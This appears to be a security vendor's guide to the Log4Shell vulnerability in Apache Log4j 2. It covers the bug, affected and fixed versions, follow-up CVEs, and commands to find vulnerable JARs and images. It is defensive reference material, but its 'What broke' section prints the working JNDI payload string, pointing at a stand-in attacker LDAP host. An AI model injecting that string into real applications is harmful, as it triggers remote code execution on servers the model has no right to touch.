Guides / Famous CVEs

Log4Shell (CVE-2021-44228): what happened and how to check for it today

intermediateUpdated 26 Nov 2026965 words

In December 2021 a bug in Apache Log4j 2, a widely used logging library for Java, let anyone who could get a string into a log message run code on the server. It has a CVSS score of 10.0, and CISA added it to the KEV catalog on the day the CVE was published.

What broke

Log4j 2 had a feature called lookups: text such as ${java:version} or ${env:USER} inside a log message was replaced with a value at the time of logging. One lookup type was JNDI, the Java naming and directory interface, which can fetch objects from an LDAP server. JNDI could load and run a Java class from a remote server.

So a log line like this was enough:

${jndi:ldap://attacker.example/a}

If an application logged a value an attacker controlled, such as a User-Agent header, a user name or a chat message, Log4j resolved the lookup, contacted the LDAP server of the attacker and could load code from it. The CVE record: "An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled."

Who was affected

Any Java application that used log4j-core from 2.0-beta9 through 2.15.0 and logged untrusted input, except the security releases 2.3.1, 2.12.2 and 2.12.3. Version 2.15.0 disabled the behaviour by default; the CVE record still lists it as affected because its fix was incomplete in some non-default configurations (CVE-2021-45046). Only the log4j-core JAR was affected; applications with log4j-api alone, and log4net, log4cxx and other Apache logging projects, were not.

Log4j is often a transitive dependency, pulled in by a framework, an application server or a vendor product. Cisco, Oracle, NetApp, Siemens, SonicWall and Intel, among many others, published advisories for their own products.

The follow-up CVEs

Within three weeks Apache published three more CVEs:

CVE Problem Fixed in (Java 8+, Java 7, Java 6) CVSS
CVE-2021-44228 JNDI lookups in messages run remote code 2.15.0, 2.12.2, 2.3.1 10.0
CVE-2021-45046 the 2.15.0 fix was incomplete for non-default pattern layouts with context lookups 2.16.0, 2.12.2, 2.3.1 9.0 (CISA)
CVE-2021-45105 self-referential lookups cause uncontrolled recursion (denial of service) 2.17.0, 2.12.3, 2.3.1 5.9 (CISA)
CVE-2021-44832 remote code with a JDBC appender when the attacker controls the configuration 2.17.1, 2.12.4, 2.3.2 6.6 (CISA)

The minimum versions are therefore 2.17.1 for Java 8 and later, 2.12.4 for Java 7 and 2.3.2 for Java 6. Use the newest 2.x release when you can.

CVE-2021-45046 is on the KEV list too, added on 2023-05-01. Both KEV entries are marked as used by ransomware groups.

Log4j 1.x reached end of life in 2015. It does not have lookups, so Log4Shell does not affect it. It is affected by CVE-2021-4104 when the configuration uses JMSAppender, and it does not get security fixes any more. Move applications on 1.x to Log4j 2 or another logger.

How to check a server today

Packages

On Debian and Ubuntu the library is packaged as liblog4j2-java:

dpkg-query -W liblog4j2-java 2>/dev/null

Most Java applications bring their own copy, so the package check is not enough.

JAR files on disk

Search by file name, then inside archives, because Spring Boot and other fat JARs nest the library inside the application JAR:

sudo find / -xdev -name 'log4j-core-*.jar' 2>/dev/null

sudo find / -xdev \( -name '*.jar' -o -name '*.war' -o -name '*.ear' \) 2>/dev/null |
  while read -r f; do
    unzip -Z1 "$f" 2>/dev/null | grep -E 'JndiLookup\.class$|log4j-core-[^/]*\.jar$' | sed "s|^|$f: |"
  done

Example output on a test tree:

/opt/app/lib/log4j-core-2.14.1.jar: org/apache/logging/log4j/core/lookup/JndiLookup.class
/opt/app/app.jar: BOOT-INF/lib/log4j-core-2.14.1.jar

A JndiLookup.class alone does not mean the copy is vulnerable: fixed versions still contain the class. Check the version in the file name or in META-INF/MANIFEST.MF. The -xdev flag keeps find on one file system; repeat it for other mounts where applications live.

Container images

The command above does not look inside images. Scan them with a scanner that reads Java archives, for example Trivy:

trivy image --scanners vuln --severity CRITICAL,HIGH registry.example.com/app:1.4

Trivy reads JAR, WAR and EAR files, including nested ones, and reports log4j-core with its version.

How it was fixed

Log4j 2.15.0 disabled message lookups by default. 2.16.0 removed message lookups and turned JNDI off by default. 2.17.0 fixed the recursion, and 2.17.1 limited JNDI data source names in the JDBC appender to the java protocol. For vendor products, the fix came as product updates over the following weeks and months.

What to take from it

An SBOM of each application and image answers "do we run log4j-core, which version, where?" in minutes instead of days.

A widely studied fix draws more research. Plan to patch the same library more than once in the weeks after a big disclosure.

The public exploit needed the server to connect out to an LDAP server on the internet. A server that can reach only the hosts it needs blocks this class of attack, even before a patch.

Data that is "only logged" still passes through code. Treat log input as untrusted.

On a server with a vulnerable copy, assume it was scanned. Follow the steps in what to do when a KEV CVE hits you, including the check for signs of compromise.

Sources

Check your servers every day

The Vulnpocalypse agent reports the packages and settings of a server once a day, and the digest lists what to fix, most urgent first.

Start free